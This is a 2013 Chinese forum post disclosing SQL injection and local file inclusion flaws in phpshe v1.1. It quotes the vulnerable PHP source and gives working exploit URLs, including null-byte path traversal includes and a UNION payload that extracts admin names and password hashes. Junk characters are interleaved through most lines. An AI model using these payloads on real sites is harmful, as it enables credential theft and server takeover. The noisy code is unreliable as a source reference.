找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2579|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/9 h% O" Y! v  ]6 y. y
/* Phpshe v1.1 Vulnerability
6 E  j7 c1 A; b  c+ S' e/* ========================5 Y" v- Y; w& x1 g
/* By: : Kn1f34 t4 g. ^% t1 t; N' _
/* E-Mail : 681796@qq.com
; B& D& g0 U5 I1 R/ _2 t/*******************************************************/
3 S: |' F; `% \( n6 N' i7 Y0×00 整体大概参数传输- s7 o) }9 L: N

, U; h, G7 `9 [( l/ F
$ W5 [% C$ ^  f; Q# s4 _& }3 p

+ \, q, W1 j* e0 b) t//common.php
- U! ~: ^% f0 ?  |) Bif (get_magic_quotes_gpc()) {
, I0 q1 L5 q. f8 j- b, L( n: a!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
9 N# b  B- [$ I* ^- C2 A+ A!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 [% G- [8 i9 y5 ~, d}
1 [. I/ `+ K! i0 G0 @) |5 q8 r! d! D0 _1 Kelse {
2 t+ N+ J7 w/ X: h!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');4 u3 p6 H1 M- Q, _, V2 \
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
% j; V" Y; g8 C}9 Z7 e' H5 X3 ^( ]3 r( m0 Y. I, S
session_start();
3 w# p' Z* d7 R! T5 h!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 ?1 A6 `- @( m4 D!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
9 y8 q$ b. t) C: X9 m4 b3 r6 D# R& R. G$ T4 t
0×01 包含漏洞- x1 R) {. ~2 @& Z
: o4 J& r( ~; h4 h# t6 Z

' {3 t" H4 b9 E//首页文件
8 W/ k" ~1 n( H9 t' s, w/ c1 P<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);4 ~' }# H$ @) w: [
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞* J$ S& O9 y' ^& e' l
pe_result();! t1 V6 X/ e+ j3 ?3 T
?>
: @% R- ]4 @8 A4 O//common 文件 第15行开始) ]3 v$ e" P: b6 q* }2 e  E6 O
url路由配置
. W6 v0 u! ^, `- }% K2 \$module = $mod = $act = 'index';
: W, M2 {: F! D' ?' ]0 ]$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);6 F% q2 {7 e6 W
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);5 C+ v0 o& {; c' T/ U; R2 R) v% [
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
5 x. `' V: g7 b3 [- Q* i//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
; ?% E) E9 Y' l& _6 v2 n1 \


! u- z" o9 q+ ~' \' }4 l! W
- k9 m8 E- ?$ A/ T7 @ 0×02 搜索注入
) t+ W% k3 s7 V% @1 S* Z & G6 i+ P: A1 j9 u& y% a" |* j
<code id="code2">

//product.php文件2 ]5 d' p, Z& I' I
case 'list':
& D6 M' h' h* L/ V$category_id = intval($id);
0 J0 m! Y3 X; a  V$info = $db->pe_select('category', array('category_id'=>$category_id));
! P7 Z$ p0 Z; Y4 \* L5 S2 M//搜索
) k$ e6 ~0 H. @$sqlwhere = " and `product_state` = 1";
  F( {' a/ y8 r5 k4 h1 D- Dpe_lead('hook/category.hook.php');
$ H+ e2 H/ [1 a0 E6 A+ Xif ($category_id) {
' @2 T: y7 W2 S2 awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
" A3 h6 w1 D) F# B}  X4 j$ p2 [' u$ H0 i5 U! s" ?
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤# S$ x" \, k% X: a2 N% Q
if ($_g_orderby) {
# L! q  K" w9 w4 t6 _0 T; B- e$orderby = explode('_', $_g_orderby);8 m6 y) K5 T( f
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";8 C2 {  p3 g2 H3 b
}' |5 r9 n: e5 W+ s
else {- W9 F: I  T5 T6 J% G
$sqlwhere .= " order by `product_id` desc";/ a! N& e8 X, W+ J
}
; G8 z9 K/ K1 {$ P+ p, P( o- G$ A4 E* ~$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 k2 x4 f! m1 h" Z) I//热卖排行
5 a+ {; `5 Z+ o% ~: ]' E2 a/ Q8 s$product_hotlist = product_hotlist();
9 ?- f$ q. L, ^3 l1 c/ _7 u7 X8 y//当前路径
& W# a- H  Q$ o3 g& T9 ?$nowpath = category_path($category_id);
" B6 E: o* f5 E* F/ c& h$seo = pe_seo($info['category_name']);6 x" p( c9 i( V6 P$ e/ ^
include(pe_tpl('product_list.html'));
+ w+ J: O8 g$ y6 F2 F//跟进selectall函数库
+ E) I: s1 ?+ k* ~! k  c8 Ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 K: |/ `( H, G. n9 e* x: [* `{3 H& S( `# W! K, Y! q: G
//处理条件语句
, ]5 g3 ^9 U0 _. O" P4 n7 z' Q5 K$sqlwhere = $this->_dowhere($where);
. f1 @- L! D4 J! c0 i; G& preturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);) r% r' p; l0 n, T& q+ b0 l8 k+ x
}. l- w; P; R) c2 Q8 X# W6 M
//exp2 b7 l# ^7 T' o8 s, K( s
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ S$ L7 U' w! A4 b% F$ N; G2 ?

</code>; {) B/ r0 g3 `$ _/ }. \; e3 S: z

. d: K  D. X# L- v0×03 包含漏洞2
" r5 |. `1 W+ h* T& T( ]& C0 m& N' ^
; N6 `5 o- Z- \. |+ ]2 _<code id="code3">

//order.php

case 'pay':

3 r+ r3 f8 m5 V5 G
$order_id = pe_dbhold($_g_id);

: i7 O0 c! m0 V1 x, E
$cache_payway = cache::get('payway');


3 @4 }8 u+ H7 e# e7 x) A' z- b9 a+ Oforeach($cache_payway as $k => $v) {

1 m) O( ?) @& l
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, P% W0 Q  W4 A9 c0 r. v  |
if ($k == 'bank') {

6 l8 s$ `. s3 X+ U; h. n
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

3 C5 C! ~6 R, M' l
}

. i5 n5 \- K7 ?- o" v
}


! v, @) V: w) R$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

, m( w9 o. o- K9 r
!$order['order_id'] && pe_error('订单号错误...');

& M7 H9 \% m& |. |( |
if (isset($_p_pesubmit)) {

4 }5 x8 }: i  [% L
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

( p! m- w% ^  b! m* r& |9 j
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

4 `8 p2 |7 o5 \  \, X! D8 h
foreach ($info_list as $v) {

& h/ d) w+ ?; B! f
$order['order_name'] .= "{$v['product_name']};";
+ `/ I- y% W) Q0 e


* y' l; [) ^5 ?) O}


( x8 }3 h1 u/ H  Necho '正在为您连接支付网站,请稍后...';

* w4 p& b8 i+ |$ N
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

* E3 f0 Q( ~) n% Q) n
}//当一切准备好的时候就可以进行"鸡肋包含了"


& i: K+ {( z) B9 eelse {


' T5 T9 a" [" b- h9 ?8 [& a; [& Spe_error('支付错误...');


3 G5 N# H5 A) E5 @) b, ?}


6 E5 J5 a" a. O; s! b}


$ H! F8 a- [+ Z% t$seo = pe_seo('选择支付方式');


7 y5 ^# j8 J5 J: w1 _include(pe_tpl('order_pay.html'));

4 Z* n$ J! W3 q
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
9 F* H% ^3 [2 |( z

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表